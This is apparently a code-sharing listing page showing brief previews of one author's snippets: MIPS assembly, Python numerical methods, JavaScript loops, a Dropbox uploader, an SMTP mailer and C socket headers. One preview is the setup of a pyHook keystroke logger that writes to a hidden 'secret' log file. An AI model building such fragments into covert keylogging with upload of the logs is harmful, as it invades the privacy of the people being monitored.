This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Fibonacci MIPS32 | |
#Author: Kelvin Nose: :^) | |
#Date: 10/30/15 | |
#int count = 0; | |
#int n = 0; | |
#int first = 0; | |
#int second = 1; | |
#int next = 0; | |
#int c; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#STRCPY - MIPS32 | |
#Author: Kelvin Nose :^) | |
#Date: 7/11/15 | |
# void strcpy(char x[], char y[]){ | |
#int i; | |
#i = 0; | |
#while((x[i] = y[i]) != '\0') /* copy and test byte */ | |
#i+=1; | |
#} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Integracion Simpson en funcion seno | |
# | |
from math import * | |
def f(x): | |
return sin(x) | |
def simpson_rule(a,b): | |
c=(a+b)/2.0 | |
h=abs(b-a)/2.0 | |
return h*(f(a)+4.0*f(c)+f(b))/3.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
print "Diferencias Divididas (Newton)" | |
n = int(raw_input("Ingrese el grado del polinomio a evaluar: "))+1 | |
matrix = [0.0] * n | |
for i in range(n): | |
matrix[i] = [0.0] * n | |
vector = [0.0] * n | |
for i in range(n): | |
x = raw_input("Ingrese el valor de x: ") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pyHook, pythoncom, sys, logging | |
import time, datetime | |
wait_seconds = 60 | |
timeout = time.time() + wait_seconds | |
file_log = 'C:\\secret\\dat.txt' | |
def TimeOut(): | |
if time.time() > timeout: | |
return True |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Created By Kelvin Nose :^) */ | |
function evaluate_size(bytes){ | |
if(bytes < 1024) return bytes + " Bytes"; | |
else if(bytes < 1048576) return(bytes / 1024).toFixed(3) + " KB"; | |
else if(bytes < 1073741824) return(bytes / 1048576).toFixed(3) + " MB"; | |
else return(bytes / 1073741824).toFixed(3) + " GB"; | |
} | |
function DisplayFileInfo(file){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import dropbox | |
def dbx_upload_file(file_from, file_to, access_token): | |
"""Funcion para subir un archivo a Dropbox usando API v2 | |
""" | |
dropb = dropbox.Dropbox(access_token) | |
with open(file_from, 'rb') as f: | |
dropb.files_upload(f, file_to) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var i = 1; | |
while(i<=5){ | |
console.log("Iteracion while: "+i+"\n"); | |
} | |
for(var i = 1; i<=5; i++){ | |
console.log("Iteracion for: "+i+"\n"); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <arpa/inet.h> | |
#include <sys/types.h> | |
#include <sys/param.h> | |
#include <sys/socket.h> | |
#include <sys/file.h> | |
#include <sys/time.h> | |
#include <netinet/in_systm.h> | |
#include <netinet/in.h> | |
#include <netinet/ip.h> | |
#include <netinet/ip_icmp.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import smtplib | |
import os | |
from email.MIMEMultipart import MIMEMultipart | |
from email.MIMEBase import MIMEBase | |
from email.MIMEText import MIMEText | |
from email.Utils import formatdate | |
from email import Encoders | |
# Limpiando la pantalla con el comando "cls" de windows (si te encuentras en un SO basado en unix cambiarlo a "clear") | |
os.system('cls') |
OlderNewer